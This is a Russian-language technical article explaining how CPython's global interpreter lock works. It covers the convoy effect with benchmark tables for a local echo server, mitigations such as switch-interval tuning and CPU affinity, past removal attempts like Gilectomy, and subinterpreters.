Метод `start()` экземпляра класса `Thread` создаёт новый поток ОС. В Unix-подобных системах, включая Linux и macOS, данный метод вызывает для этой цели функцию [pthread\_create()](https://man7.org/linux/man-pages/man3/pthread_create.3.html). Только что созданный поток начинает выполнение функции `t_bootstrap()` с аргументом `boot`. Аргумент [boot](https://github.com/python/cpython/blob/5d28bb699a305135a220a97ac52e90d9344a3004/Modules/_threadmodule.c#L1019) — это структура, которая содержит целевую функцию, переданные ей аргументы и состояние потока для нового потока ОС. Функция [t\_bootstrap()](https://github.com/python/cpython/blob/5d28bb699a305135a220a97ac52e90d9344a3004/Modules/_threadmodule.c#L1029) решает множество задач, но, что важнее всего, она захватывает GIL и входит в вычислительный цикл для выполнения байт-кода вышеупомянутой целевой функции.
Поток, прежде чем захватить GIL, сначала проверяет, удерживает ли GIL какой-то другой поток. Если это не так — поток сразу же захватывает GIL. В противном случае он ждёт до тех пор, пока глобальная блокировка интерпретатора не будет освобождена. Ожидание продолжается в течение фиксированного временного интервала, называемого интервалом переключения (по умолчанию — 5 мс). Если GIL за это время не освободится, поток устанавливает флаги `eval_breaker` и `gil_drop_request`. Флаг `eval_breaker` сообщает потоку, удерживающему GIL, о том, что ему нужно приостановить выполнение байт-кода. А флаг `gil_drop_request` объясняет ему причину необходимости это сделать. Поток, удерживающий GIL, видит эти флаги, начиная следующую итерацию вычислительного цикла, после чего освобождает GIL. Он уведомляет об этом потоки, ожидающие освобождения GIL, а потом один из этих потоков захватывает GIL. Решение о том, какой именно поток нужно разбудить, принимает операционная система, поэтому это может быть тот поток, что установил флаги, а может быть и какой-то другой поток.
Собственно говоря, это — абсолютный минимум сведений, которые нам нужно знать о GIL. А теперь я собираюсь рассказать о том, как GIL влияет на производительность Python-программ. Если то, что вы обнаружите в следующем разделе, покажется вам интересным, вас могут заинтересовать и следующие части этой статьи, где мы подробнее рассмотрим некоторые аспекты GIL.
### Последствия существования GIL
Первое последствие существования GIL широко известно: это невозможность параллельного выполнения Python-потоков. А значит — многопоточные программы, даже на многоядерных машинах, работают не быстрее, чем их однопоточные эквиваленты.
Рассмотрим следующую функцию, производительность которой зависит от скорости процессора. Она выполняет операцию декремента переменной заданное количество раз:
```
def countdown(n):
while n > 0:
n -= 1
```
Мы, не мудрствуя лукаво, попробуем распараллелить выполнение соответствующего Python-кода.
Представим, что нам нужно выполнить 100,000,000 операций декрементирования переменной. Мы можем запустить `countdown(100_000_000)` в одном потоке, или `countdown(50_000_000)` в двух потоках, или `countdown(25_000_000)` в четырёх потоках и так далее. В языках, где нет GIL, вроде C, мы, увеличивая число потоков, смогли бы наблюдать ускорение вычислений. Я запустил Python-код на своём MacBook Pro. В моём распоряжении были два ядра и технология [hyper-threading](http://www.lighterra.com/papers/modernmicroprocessors/). Вот что у меня получилось:
| | | |
| --- | --- | --- |
| **Количество потоков** | **Операций декрементирования на поток (n)** | **Время в секундах (лучшее из 3 попыток)** |
| 1 | 100,000,000 | 6.52 |
| 2 | 50,000,000 | 6.57 |
| 4 | 25,000,000 | 6.59 |
| 8 | 12,500,000 | 6.58 |
Сколько потоков мы не использовали бы, время выполнения вычислений, в сущности, остаётся одним и тем же. На самом деле, многопоточные варианты программы могут оказаться даже медленнее однопоточного из-за дополнительной нагрузки на систему, вызванной операциями [переключения контекста](https://en.wikipedia.org/wiki/Context_switch). Стандартный интервал переключения составляет 5 мс, в результате переключения контекста выполняются не слишком часто. Но если уменьшить этот интервал, мы увидим замедление многопоточных вариантов программы. Ниже мы поговорим о том, зачем может понадобиться уменьшать интервал переключения.
Хотя использование Python-потоков не может помочь нам в деле ускорения программ, интенсивно использующих ресурсы процессора, потоки могут принести пользу в том случае, когда нужно одновременно выполнять множество операций, производительность которых привязана к подсистеме ввода/вывода. Представим себе сервер, который ожидает входящих подключений и, когда к нему подключается клиентская система, запускает функцию-обработчик в отдельном потоке. Эта функция «общается» с клиентом, считывая данные из клиентского сокета и записывая данные в сокет. При чтении данных функция бездействует до тех пор, пока клиент ей что-нибудь не отправит. Именно в подобных ситуациях многопоточность оказывается очень кстати: пока один поток бездействует, другой может сделать что-то полезное.
Для того чтобы позволить другому потоку выполнить код в то время, когда поток, удерживающий GIL, ожидает выполнения операции ввода/вывода, в CPython все операции ввода/вывода реализованы с использованием следующего паттерна:
1. Освобождение GIL.
2. Выполнение операции, например, [write()](https://man7.org/linux/man-pages/man2/write.2.html), [recv()](https://man7.org/linux/man-pages/man2/recv.2.html), [accept()](https://man7.org/linux/man-pages/man2/accept.2.html).
3. Захват GIL.
Получается, что поток может добровольно освободить GIL, ещё до того, как другой поток установит флаги `eval_breaker` и `gil_drop_request`. Обычно потоку нужно удерживать GIL только тогда, когда он работает с Python-объектами. В результате в CPython паттерн «освобождение-выполнение-захват» реализован не только для операций ввода-вывода, но и для других блокирующих вызовов ОС, вроде [select()](https://man7.org/linux/man-pages/man2/select.2.html) и [pthread\_mutex\_lock()](https://linux.die.net/man/3/pthread_mutex_lock), а так же для кода, выполняющего «тяжёлые» вычисления на чистом C. Например, хэш-функции в стандартном модуле [hashlib](https://docs.python.org/3/library/hashlib.html) освобождают GIL. Это позволяет нам реально ускорить Python-код, который вызывает подобные функции с использованием многопоточности.
Предположим, что нам нужно вычислить хэши SHA-256 для восьми 128-мегабайтных сообщений. Мы можем вызвать `hashlib.sha256(message)` для каждого сообщения, обойдясь одним потоком, но можно и распределить нагрузку по нескольким потокам. Вот результаты исследования этой задачи, полученные на моём компьютере:
| | | |
| --- | --- | --- |
| **Количество потоков** | **Общий размер сообщений на поток** | **Время в секундах (лучшее из 3 попыток)** |
| 1 | 1 Гб | 3.30 |
| 2 | 512 Мб | 1.68 |
| 4 | 256 Мб | 1.50 |
| 8 | 128 Мб | 1.60 |
Переход от одного потока к двум даёт ускорение почти в 2 раза из-за того, что эти два потока работают параллельно. Правда, дальнейшее увеличение числа потоков не особенно сильно улучшает ситуацию, так как на моём компьютере всего два физических процессорных ядра. Тут можно сделать вывод о том, что, прибегнув к многопоточности, можно ускорить Python-код, выполняющий «тяжёлые» вычисления, в том случае, если в этом коде осуществляется вызов C-функций, которые освобождают GIL. Обратите внимание на то, что подобные функции можно обнаружить не только в стандартной библиотеке, но и в модулях сторонних разработчиков, рассчитанных на серьёзные вычисления, вроде NumPy. Можно даже самостоятельно писать [C-расширения, освобождающие GIL](https://docs.python.org/3/c-api/init.html?highlight=gil#releasing-the-gil-from-extension-code).
Мы упоминали о потоках, скорость работы которых привязана к производительности CPU, то есть — о потоках, которые, большую часть времени, заняты некими вычислениями. Мы говорили и о потоках, производительность которых ограничена подсистемой ввода/вывода — о тех, которые большую часть времени заняты ожиданием операций ввода/вывода. Самые интересные последствия существования GIL появляются при смешанном использовании и тех и других потоков. Рассмотрим простой эхо-сервер TCP, который ожидает входящих подключений. Когда к нему подключается клиент — он запускает новый поток для работы с этим клиентом:
```
from threading import Thread
import socket
def run_server(host='127.0.0.1', port=33333):
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((host, port))
sock.listen()
while True:
client_sock, addr = sock.accept()
print('Connection from', addr)
Thread(target=handle_client, args=(client_sock,)).start()
def handle_client(sock):
while True:
received_data = sock.recv(4096)
if not received_data:
break
sock.sendall(received_data)
print('Client disconnected:', sock.getpeername())
sock.close()
if name == 'main':
run_server()
```
Сколько запросов в секунду «потянет» этот сервер? Я написал простую программу-клиент, которая, настолько быстро, насколько это возможно, отправляет серверу 1-байтовые сообщения и принимает их от него. У меня получилось что-то около 30 тысяч запросов в секунду (RPS, Requests Per Second). Это, скорее всего, не особенно надёжный результат, так как и сервер, и клиент работали на одном и том же компьютере. Но тут к надёжности этого результата я и не стремился. А интересовало меня то, как упадёт RPS в том случае, если сервер будет, во время обработки запросов клиентов, выполнять в отдельном потоке какую-нибудь серьёзную вычислительную задачу.
Рассмотрим тот же самый серверный код, к которому теперь добавлен код, запускающий дополнительный поток, устроенный довольно примитивно. Код, выполняемый в этом потоке, инкрементирует и декрементирует переменную в бесконечном цикле (при выполнении любого кода, интенсивно использующего ресурсы процессора, в сущности, происходит то же самое):
```
# ... тот же самый код сервера
def compute():
n = 0
while True:
n += 1
n -= 1
if name == 'main':
Thread(target=compute).start()
run_server()
```
Как думаете — насколько сильно изменится RPS? Упадёт лишь немного? Или, может, снизится в 2 раза? А может — в 10? Нет. Показатель RPS упал до 100, что в 300 раз меньше первоначального показателя. И это крайне удивительно для того, кто привык к тому, как операционная система планирует выполнение потоков. Для того чтобы проиллюстрировать то, что я имею в виду, давайте запустим код сервера и код потока, выполняющего вычисления, в виде отдельных процессов, что приведёт к тому, что на них не будет действовать GIL. Можно разделить код на два отдельных файла, или просто воспользоваться стандартным модулем `multiprocessing` для создания новых процессов. Например, это может выглядеть так:
```
from multiprocessing import Process
#... тот же самый код сервера
if name == 'main':
Process(target=compute).start()
run_server()
```
Этот код выдаёт около 20 тысяч RPS. Более того, если запустить два, три или четыре процесса, интенсивно использующих процессор, RPS почти не меняется. Планировщик ОС отдаёт приоритет процессам, производительность которых привязана к подсистеме ввода/вывода. И это правильно.
В нашем примере серверного кода поток, привязанный к подсистеме ввода/вывода, ожидает, когда сокет будет готов к чтению и записи, но производительность любого другого подобного потока будет ухудшаться по тому же сценарию. Представим себе поток, отвечающий за работу пользовательского интерфейса, который ожидает пользовательского ввода. Он, если рядом с ним запустить поток, интенсивно использующий процессор, будет регулярно «подвисать». Ясно, что обычные потоки операционной системы работают не так, и что причиной этого является GIL. Глобальная блокировка интерпретатора мешает планировщику ОС.
Разработчики CPython, на самом деле, хорошо осведомлены об этой проблеме. Они называют её «эффектом сопровождения» (convoy effect). Дэвид Бизли сделал об этом [доклад](https://www.youtube.com/watch?v=Obt-vMVdM8s) в 2010 году и открыл [обращение о проблеме](https://bugs.python.org/issue7946) на bugs.python.org. Через 11 лет, в 2021 году, это обращение было закрыто. Но проблема так и не была исправлена. Далее мы попытаемся разобраться с тем, почему это так.
### Эффект сопровождения
Эффект сопровождения возникает из-за того, что каждый раз, когда поток, ограниченный подсистемой ввода/вывода, выполняет операцию ввода/вывода, он освобождает GIL, а когда он, после выполнения операции, пытается снова захватить GIL, то блокировка, вероятно, уже окажется захвачена потоком, ограниченным возможностями процессора. В результате потоку, занятому вводом/выводом данных, необходимо подождать как минимум 5 мс до того, как он сможет установить флаги `eval_breaker` и `gil_drop_request`, принудив тем самым поток, занятый вычислениями, освободить GIL.
Операционная система может запланировать выполнение потока, привязанного к возможностям CPU, сразу же после того, как поток, привязанный к вводу/выводу, освободит GIL. А выполнение потока, зависящего от подсистемы ввода/вывода, может быть запланировано только после завершения операции ввода/вывода, поэтому у него меньше шансов первым захватить GIL. Если операция ввода/вывода является по-настоящему быстрой, скажем — это неблокирующая команда [send()](https://man7.org/linux/man-pages/man2/send.2.html), то шансы потока на захват GIL, на самом деле, довольно-таки высоки, но только на одноядерном компьютере, где ОС нужно принимать решения о том, выполнение какого потока ей запланировать.
На многоядерных компьютерах ОС не нужно принимать решения о том, выполнение какого из этих двух потоков требуется запланировать. Она может запланировать выполнение обоих этих потоков на разных ядрах. В результате окажется, что поток, производительность которого привязана к CPU, почти гарантированно, первым захватит GIL, а на проведение каждой операции ввода/вывода, выполняемой в потоке, привязанном к подсистеме ввода/вывода, будет необходимо 5 дополнительных миллисекунд.
Обратите внимание на то, что поток, который принуждают освободить GIL, ждёт до того момента, пока другой поток не захватит блокировку. В результате поток, привязанный к подсистеме ввода/вывода, захватывает GIL после одного интервала переключения. Если бы этого механизма не существовало, последствия эффекта сопровождения были бы ещё хуже.
А 5 мс — много это или мало? Это зависит от того, сколько времени занимают операции ввода/вывода. Если поток несколько секунд ждёт появления в сокете данных, которые можно прочитать, то дополнительные 5 мс особой роли не сыграют. Но некоторые операции ввода/вывода выполняются очень и очень быстро. Например, команда [send()](https://man7.org/linux/man-pages/man2/send.2.html) выполняет блокировку только тогда, когда буфер отправки полон, а в противном случае осуществляется немедленный возврат из неё. В результате если выполнение операций ввода/вывода занимает микросекунды, это значит, что миллисекунды ожидания GIL могут оказать огромное влияние на производительность программы.
Наш эхо-сервер без потока, сильно нагружающего процессор, способен обработать 30 тысяч запросов в секунду. Это значит, что обработка одного запроса занимает примерно 1/30000 = 30 мкс. А если речь идёт о сервере с потоком, привязанным к производительности процессора, команды `recv()` и `send()` добавляют, каждая, по 5 мс (5000 мкс) к времени обработки каждого запроса. Теперь на выполнение одного запроса требуется 10030 мкс. Это — примерно в 300 раз больше, чем в первом случае. В результате пропускная способность сервера падает в 300 раз. Как видите, эти цифры совпадают.
Тут можно задаться вопросом о том, приводит ли наличие эффекта сопровождения к проблемам в реальных приложениях. Ответа на этот вопрос я не знаю. Я никогда с подобными проблемами не сталкивался и не встречал свидетельств того, что с ними сталкивался кто-то ещё. Никто на это не жалуется, и это — одна из причин, по которой данная проблема до сих пор не исправлена.
Но что если эффект сопровождения вызывает проблемы с производительностью вашего приложения? Есть два способа исправления этих проблем.
### Устранение последствий эффекта сопровождения
Так как рассматриваемая проблема заключается в том, что поток, привязанный к подсистеме ввода/вывода, вынужден ждать истечения интервала переключения, и лишь после этого может запросить GIL, мы можем попытаться сделать интервал переключения меньше. В Python, специально для этой цели, имеется функция [sys.setswitchinterval(interval)](https://docs.python.org/3/library/sys.html#sys.setswitchinterval). Аргумент `interval` — это значение с плавающей точкой, представляющее собой время в секундах. Интервал переключения измеряется в микросекундах, в результате наименьшее значение, которое ему можно задать — это `0.000001`. Вот показатели RPS, которые мне удалось получить, меняя интервал переключения и количество потоков, производительность которых привязана к возможностям процессора (в таблице они называются «CPU-потоки»):
| | | | | |
| --- | --- | --- | --- | --- |
| **Интервал переключения в секундах** | **RPS без CPU-потоков** | **RPS с одним CPU-потоком** | **RPS с двумя CPU-потоками** | **RPS с четырьмя CPU-потоками** |
| 0.1 | 30,000 | 5 | 2 | 0 |
| 0.01 | 30,000 | 50 | 30 | 15 |
| **0.005** | **30,000** | **100** | **50** | **30** |
| 0.001 | 30,000 | 500 | 280 | 200 |
| 0.0001 | 30,000 | 3,200 | 1,700 | 1000 |
| 0.00001 | 30,000 | 11,000 | 5,500 | 2,800 |
| 0.000001 | 30,000 | 10,000 | 4,500 | 2,500 |
Полученные результаты позволяют сделать следующие выводы:
* Интервал переключения не влияет на RPS в том случае, если поток, ограниченный возможностями подсистемы ввода/вывода — это единственный поток приложения.
* Когда в состав сервера включается один поток, ограниченный возможностями процессора, RPS сильно падает.
* Удвоение количества CPU-потоков приводит к снижению RPS вдвое.
* Уменьшение интервала переключения приводит к почти пропорциональному увеличению RPS до тех пор, пока интервал переключения не оказывается слишком маленьким. Происходит это из-за того, что в таких условиях значимой становится дополнительная нагрузка на систему, вызываемая переключением контекста.
Более короткие интервалы переключения делают потоки, привязанные к подсистеме ввода/вывода, более отзывчивыми. Но слишком маленькие интервалы переключения означают сильное увеличение дополнительной нагрузки на систему, вызванное большим количеством операций переключения контекста. Вспомните рассмотренную выше функцию `countdown()`. Мы видели, что ускорить её, воспользовавшись несколькими потоками, не удалось. Если же сделать интервал переключения слишком маленьким — мы и в случае с этой функцией увидим замедление работы:
| | | | | |
| --- | --- | --- | --- | --- |
| **Интервал переключения в секундах** | **Время в секундах (1 поток)** | **Время в секундах (2 потока)** | **Время в секундах (4 потока)** | **Время в секундах (8 потоков)** |
| 0.1 | 7.29 | 6.80 | 6.50 | 6.61 |
| 0.01 | 6.62 | 6.61 | 7.15 | 6.71 |
| **0.005** | **6.53** | **6.58** | **7.20** | **7.19** |
| 0.001 | 7.02 | 7.36 | 7.56 | 7.12 |
| 0.0001 | 6.77 | 9.20 | 9.36 | 9.84 |
| 0.00001 | 6.68 | 12.29 | 19.15 | 30.53 |
| 0.000001 | 6.89 | 17.16 | 31.68 | 86.44 |
Тут, опять же, длительность интервала переключения не играет роли в том случае, если в программе имеется лишь один поток. Кроме того, количество потоков неважно в том случае, если интервал переключения достаточно велик. С низкой производительностью мы сталкиваемся в ситуациях, когда интервал переключения мал и когда в программе имеется несколько потоков.
В итоге, можно сказать, что изменение интервала переключения — это один из способов исправления последствий эффекта сопровождения. Но, прибегая к этому способу, нужно внимательно оценивать то, как изменение интервала переключения влияет на производительность приложения.
Второй способ борьбы с эффектом сопровождения выглядит ещё более «хакерским», чем первый. Так как на одноядерных процессорах этот эффект проявляется гораздо слабее, чем на многоядерных, можно попытаться ограничить все Python-потоки использованием одного ядра. Это заставит операционную систему принимать решение о том, выполнение какого именно потока нужно запланировать, и потоки, производительность которых привязана к подсистеме ввода/вывода, получат приоритет.
Не каждая ОС даёт возможность привязать группу потоков к определённым ядрам. Насколько я понимаю, macOS предоставляет пользователям лишь [механизм](https://developer.apple.com/library/archive/releasenotes/Performance/RN-AffinityAPI/), позволяющий давать планировщику ОС подсказки. Механизм, который нам нужен, имеется в Linux. Это — функция [pthread\_setaffinity\_np()](https://man7.org/linux/man-pages/man3/pthread_setaffinity_np.3.html). Она принимает поток и маску, описывающую ядра CPU, после чего сообщает ОС о том, что ей нужно планировать выполнение этого потока только на ядрах, заданных маской.
`Pthread_setaffinity_np()` — это C-функция. Для того чтобы вызвать её из Python — можно использовать что-то вроде [ctypes](https://docs.python.org/3/library/ctypes.html). Я не хотел связываться с `ctypes`, поэтому просто модифицировал исходный код CPython. Затем я скомпилировал исполняемый файл, запустил эхо-сервер на Ubuntu-машине с двумя ядрами и получил следующие результаты:
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| **Количество CPU-потоков** | **0** | **1** | **2** | **4** | **8** |
| RPS | 24,000 | 12,000 | 3,000 | 30 | 10 |
Сервер вполне нормально переносит наличие одного потока, производительность которого привязана к процессору. Но, так как поток, зависящий от подсистемы ввода/вывода, вынужден конкурировать со всеми CPU-потоками за GIL, то, по мере того, как мы добавляем в программу такие потоки, производительность неуклонно и серьёзно падает. Этот способ борьбы с последствиями эффекта сопровождения — скорее не «способ», а самый настоящий «хак». Почему бы разработчикам CPython просто не реализовать нормальную глобальную блокировку интерпретатора?
**Дополнение от 7 октября 2021 года**. Сейчас я знаю о том, что ограничение потоков одним ядром помогает в борьбе с эффектом сопровождения лишь в том случае, если клиент привязан к тому же ядру, и именно так я и поступил, настраивая бенчмарк. Дело в том, что ограничение потоков одним ядром, на самом деле, не исправляет последствий эффекта сопровождения. Конечно, этот шаг принуждает ОС принимать решение о том, выполнение какого именно потока нужно запланировать, что даёт потоку, зависящему от подсистемы ввода/вывода, высокие шансы повторно захватить GIL при выполнении операции ввода/вывода. Но если операция ввода/вывода является блокирующей, пользы от этого нет. В таком случае поток, привязанный к подсистеме ввода/вывода, не готов к планированию его выполнения, в результате ОС планирует выполнение потока, производительность которого зависит от процессора.
В примере с эхо-сервером практически каждый вызов `recv()` является блокирующим — сервер ожидает того, чтобы клиент прочёл ответ и отправил бы следующее сообщение. Ограничение потоков одним ядром не должно улучшить ситуацию. Но мы видели улучшение RPS. Почему? Дело в том, что в бенчмарке был недочёт. Я запускал клиент на том же компьютере, и на том же ядре, на котором работали потоки сервера. В этой ситуации ОС, когда серверный поток, привязанный к подсистеме ввода/вывода, был заблокирован операцией `recv()`, была вынуждена выбирать между серверным потоком, привязанным к производительности CPU, и клиентским потоком. В этой ситуации шансы клиентского потока на то, что ОС запланирует его выполнение, были выше, чем шансы серверного потока. Клиентский поток отправляет следующее сообщение и тоже блокируется операцией `recv()`. Но теперь готов к работе серверный поток, привязанный к подсистеме ввода/вывода, и с потоком, привязанным к производительности процессора, конкурирует уже он. Получается, что запуск клиента на том же ядре приводит к тому, что ОС приходится выбирать между потоком, привязанным к подсистеме ввода/вывода, и потоком, привязанным к процессору, даже в случае с использованием блокирующей операции `recv()`.
Кроме того, для того чтобы ограничить Python-потоки определёнными ядрами, не нужно модифицировать исходный код CPython или связываться с `ctypes`. В Linux функция `pthread_setaffinity_np()` реализована поверх системного вызова [sched\_setaffinity()](https://man7.org/linux/man-pages/man2/sched_setaffinity.2.html), а стандартный модуль `os` даёт Python [доступ](https://docs.python.org/3/library/os.html#os.sched_setaffinity) к этому системному вызову. Благодарю Карла Бордума Хансена за то, что обратил на это моё внимание.
Существует ещё команда [taskset](https://man7.org/linux/man-pages/man1/taskset.1.html), которая позволяет задавать привязку процессов к процессору, совершенно не вмешиваясь в исходный код. Для этого достаточно, при запуске Python-программы, воспользоваться такой конструкцией:
```
$ taskset -c {cpu_list} python program.py
```
### Какой должна быть глобальная блокировка интерпретатора?
Фундаментальная проблема GIL заключается в том, что глобальная блокировка интерпретатора мешает работе планировщика ОС. В идеале нам хотелось бы запускать потоки, привязанные к подсистеме ввода/вывода, сразу же после того, как завершаются операции ввода/вывода, завершения которых они ожидают. Именно так обычно и работает планировщик ОС. В CPython, правда, поток в такой ситуации немедленно оказывается в состоянии ожидания GIL, в результате решения планировщика ОС, на самом деле, ничего не значат. Можно попытаться избавиться от интервала переключения, что позволит потоку, нуждающемуся в GIL, захватить блокировку без задержки, но тогда появится проблема с потоками, привязанными к производительности процессора, так как они постоянно нуждаются в GIL.
Достойным решением этой проблемы будет проведение различия между потоками разных видов. Потоки, производительность которых зависит от подсистемы ввода/вывода, должны иметь возможность без ожидания забирать GIL у потоков, зависящих от процессора. Но при этом потоки, обладающие одинаковым приоритетом, должны ждать друг друга. Планировщик ОС уже дифференцирует потоки, но мы полагаться на него не можем, так как он ничего не знает о GIL. Возникает такое ощущение, что единственный выход тут — реализация логики планирования выполнения потоков в самом интерпретаторе.
После того как Дэвид Бизли открыл [обращение](https://bugs.python.org/issue7946) о проблеме, разработчики CPython сделали несколько попыток решить эту проблему. Сам Бизли предложил [простой патч](http://dabeaz.blogspot.com/2010/02/revisiting-thread-priorities-and-new.html). Если в двух словах, то этот патч даёт потокам, привязанным к подсистеме ввода/вывода, преимущество перед потоками, привязанными к процессору. По умолчанию все потоки считаются потоками, привязанными к подсистеме ввода/вывода. После того как поток вынуждают освободить GIL, у него устанавливается флаг, указывающий на то, что это поток, привязанный к производительности процессора. А если поток освобождает GIL добровольно, этот флаг сбрасывается и поток снова считается потоком, зависящим от подсистемы ввода/вывода.
Патч Бизли решил все проблемы GIL, о которых мы сегодня говорили. Почему же его не включили в код CPython? Похоже, что все сошлись к мнению, что любая простая реализация GIL может дать сбой в некоторых патологических случаях. По крайней мере — может понадобиться приложить больше усилий к тому, чтобы эти случаи выявить. Нормальное решение проблемы GIL будет представлять собой систему планирования потоков, напоминающую ту, что есть в ОС, или, как выразился Нир Эйдс:
*… Python, на самом деле, нужен планировщик, а не блокировка.*
В результате Эйдс реализовал в своём [патче](https://bugs.python.org/issue7946#msg101612) полномасштабный планировщик. Патч оказался работоспособным, но планировщик — это достаточно сложная система. Включение этого патча в код CPython требовало серьёзных усилий. В итоге этот патч забросили, так как в то время не было достаточного количества доказательств того, что рассматриваемая проблема приводит к каким-то неприятностям в продакшн-коде. Подробности об этом можно посмотреть [здесь](https://bugs.python.org/issue7946).
У GIL никогда не было множества фанатов. А то, о чём мы сегодня говорили, только ухудшает ситуацию. И тут мы возвращаемся к «вопросу вопросов»: а нельзя ли избавиться от GIL?
### Нельзя ли избавиться от GIL?
Первый шаг избавления от GIL заключается в понимании того, почему в Python существует глобальная блокировка интерпретатора. Для того чтобы это понять — достаточно поразмыслить о том, почему обычно используют блокировки в многопоточных программах. Делается это для предотвращения состояния гонок и для того, чтобы действия, производимые в одном из потоков, сделать, с точки зрения других потоков, атомарными. Предположим, имеется последовательность инструкций, которые модифицируют некую структуру данных. Если не защитить эти инструкции блокировкой, это значит, что, пока один поток модифицирует данные, другой поток может обратиться к изменяемой структуре данных в момент, когда её модификация ещё не завершена. В результате этот поток «увидит» такую структуру данных в неполном, «испорченном» состоянии.
Или, например, рассмотрим инкрементирование одной и той же переменной из нескольких потоков. Если операция инкрементирования не является атомарной и не защищена блокировкой, это значит, что итоговое значение переменной может быть меньше, чем количество операций её инкрементирования. Вот — типичный пример гонки данных:
1. Поток №1 читает значение переменной `x`.
2. Поток №2 читает значение переменной `x`.
3. Поток №1 записывает в переменную значение, равное `x + 1`.
4. Поток №2 записывает в переменную значение, равное `x + 1`, затирая те изменения, которые выполнены потоком №1.
В Python операция `+=` не является атомарной, так как она состоит из нескольких инструкций байт-кода. Для того чтобы увидеть то, как это может привести к гонке данных, установим интервал переключения в `0.000001` и запустим следующую функцию в нескольких потоках:
```
sum = 0
def f():
global sum
for _ in range(1000):
sum += 1
```
И, аналогично, в C не является атомарной операция инкрементирования целого числа с использованием конструкции вроде `x++` или `++x`. Дело в том, что компилятор транслирует подобные операции в последовательности машинных инструкций. В многопоточном режиме последовательности этих инструкций, выполняемые в одних потоках, могут смешиваться с последовательностями инструкций, выполняемых в других потоках.
Глобальная блокировка интерпретатора в Python весьма ценна тем, что позволяет надёжно выполнять подобные операции. В частности, когда CPython, в ходе работы, инкрементирует и декрементирует целые числа, доступные разным потокам. Подобное используется в механизме сборки мусора, реализованном в CPython. Так, у каждого Python-объекта есть поле, используемое для подсчёта ссылок на этот объект. В этом поле хранится число, соответствующее количеству мест, где есть ссылки на данный объект. Это могут быть Python-объекты, локальные и глобальные C-переменные. Где-то появилась новая ссылка на объект? Поле инкрементируется. Какая-то ссылка на объект исчезла? Поле декрементируется. Когда счётчик ссылок достигает нуля — память, занятая объектом, освобождается. Если бы не GIL — некоторые операции декрементирования счётчика могли бы устроить гонку данных и переписать то, что было записано другими операциями. Это могло бы привести к тому, что объект, никому уже не нужный, навсегда остался бы в памяти. Но это — ещё не самое худшее. Гонка операций инкрементирования счётчика может привести к уничтожению объекта, на который имеются активные ссылки.
GIL, кроме того, упрощает реализацию встроенных мутабельных структур данных. Списки, словари и множества, благодаря GIL, не используют собственные внутренние механизмы блокировок. Их можно безопасно использовать в многопоточных программах. И, аналогично, GIL позволяет потокам безопасно работать с глобальными данными и данными, имеющими отношение к интерпретатору — с загруженными модулями, с предварительно созданными объектами, с интернированными строками и так далее.
И, наконец, GIL упрощает написание C-расширений. Разработчики могут рассчитывать на то, что в некий момент времени их расширение работает лишь в одном потоке. В результате им не нужно использовать дополнительные механизмы блокировок для того, чтобы сделать свой код потокобезопасным. Если же они сознательно стремятся к параллельному выполнению кода — они могут освободить GIL.
В итоге, можно сказать, что действия GIL направлены на то, чтобы сделать потокобезопасными следующие механизмы и сущности:
1. Подсчёт ссылок.
2. Мутабельные структуры данных.
3. Глобальные данные и данные, имеющие отношение к интерпретатору.
4. C-расширения.
Для того чтобы убрать GIL и при этом не нарушить работу интерпретатора, нужно найти альтернативный механизм для обеспечения потокобезопасности. Попытки сделать это уже предпринимались. Наиболее заметная такая попытка представлена проектом Gilectomy Ларри Хастингса, работа над которым началась в 2016 году. Хастингс [сделал форк](https://github.com/larryhastings/gilectomy) CPython, [убрал](https://github.com/larryhastings/gilectomy/commit/4a1a4ff49e34b9705608cad968f467af161dcf02) GIL, модифицировал механизм подсчёта ссылок с использованием [атомарных](https://gcc.gnu.org/onlinedocs/gcc-4.1.1/gcc/Atomic-Builtins.html) операций инкрементирования и декрементирования переменных и разместил в коде множество тонко настроенных блокировок для защиты мутабельных структур данных и данных интерпретатора.
В рамках проекта Gilectomy можно было запускать Python-код, код мог работать и в параллельном режиме. Но при этом пострадала производительность однопоточных программ. Одни только атомарные операции инкрементирования и декрементирования переменных стали причиной 30%-го увеличения дополнительной нагрузки на систему. Хастингс попытался решить эту проблему, реализовав буферизованный подсчёт ссылок. Если в двух словах, то при таком подходе все операции по изменению переменных, соответствующих количеству ссылок на объекты, передаются одному специализированному потоку. Другие потоки лишь записывают сведения об инкрементировании или декрементировании подобных переменных в журнал, а особый поток читает данные из этого журнала. Этот механизм оказался рабочим, но и после его внедрения дополнительная нагрузка на систему всё ещё была [очень высокой](https://mail.python.org/archives/list/python-dev@python.org/message/YJDRVOUSRVGCZTKIL7ZUJ6ITVWZTC246/).
В итоге [стало очевидным](https://lwn.net/Articles/754577/) то, что код проекта Gilectomy не попадёт в CPython. Хастингс прекратил работу над этим проектом. Но Gilectomy нельзя назвать совершенно бесполезным делом. Этот проект дал ответ на вопрос о том, почему так трудно убрать GIL из CPython. А именно, речь идёт о двух основных причинах такой ситуации:
1. Сборка мусора, основанная на подсчёте ссылок, не предназначена для многопоточных сред. Единственное решение этой задачи заключается в реализации [системы](https://en.wikipedia.org/wiki/Tracing_garbage_collection) сборки мусора, основанной на определении достижимости объекта. Подобные механизмы уже реализованы в JVM, в CLR, в Go и в других средах выполнения кода, в которых не используется GIL.
2. Избавление от GIL приведёт к нарушению работы существующих C-расширений. И исправить это нельзя.
В наши дни никто серьёзно не размышляет о том, чтобы убрать GIL из CPython. Значит ли это, что GIL останется с нами навсегда?
### Будущее GIL и конкурентности в Python
Весьма вероятно то, что, страшно сказать, в CPython мы скорее увидим появление множества GIL, чем устранение той глобальной блокировки интерпретатора, которая имеется сейчас. И это — не фигура речи — есть предложение по оснащению CPython несколькими GIL. Речь идёт о так называемых суб-интерпретаторах. Идея заключается в том, чтобы в рамках одного процесса работало бы несколько интерпретаторов. Потоки в одном интерпретаторе, как и прежде, будут совместно пользоваться одним экземпляром GIL, но при этом несколько интерпретаторов могут работать в параллельном режиме. Для синхронизации этих интерпретаторов нет нужды в GIL, так как у них нет общего глобального состояния и так как они не работают с одними и теми же Python-объектами. Глобальное состояние существует лишь в пределах отдельного интерпретатора, а взаимодействуют интерпретаторы лишь посредством обмена сообщениями. Конечная цель этой идеи заключается в том, чтобы ввести в Python модель конкурентности, основанную на последовательных процессах, обменивающихся данными, которая применяется в языках вроде Go и Clojure.
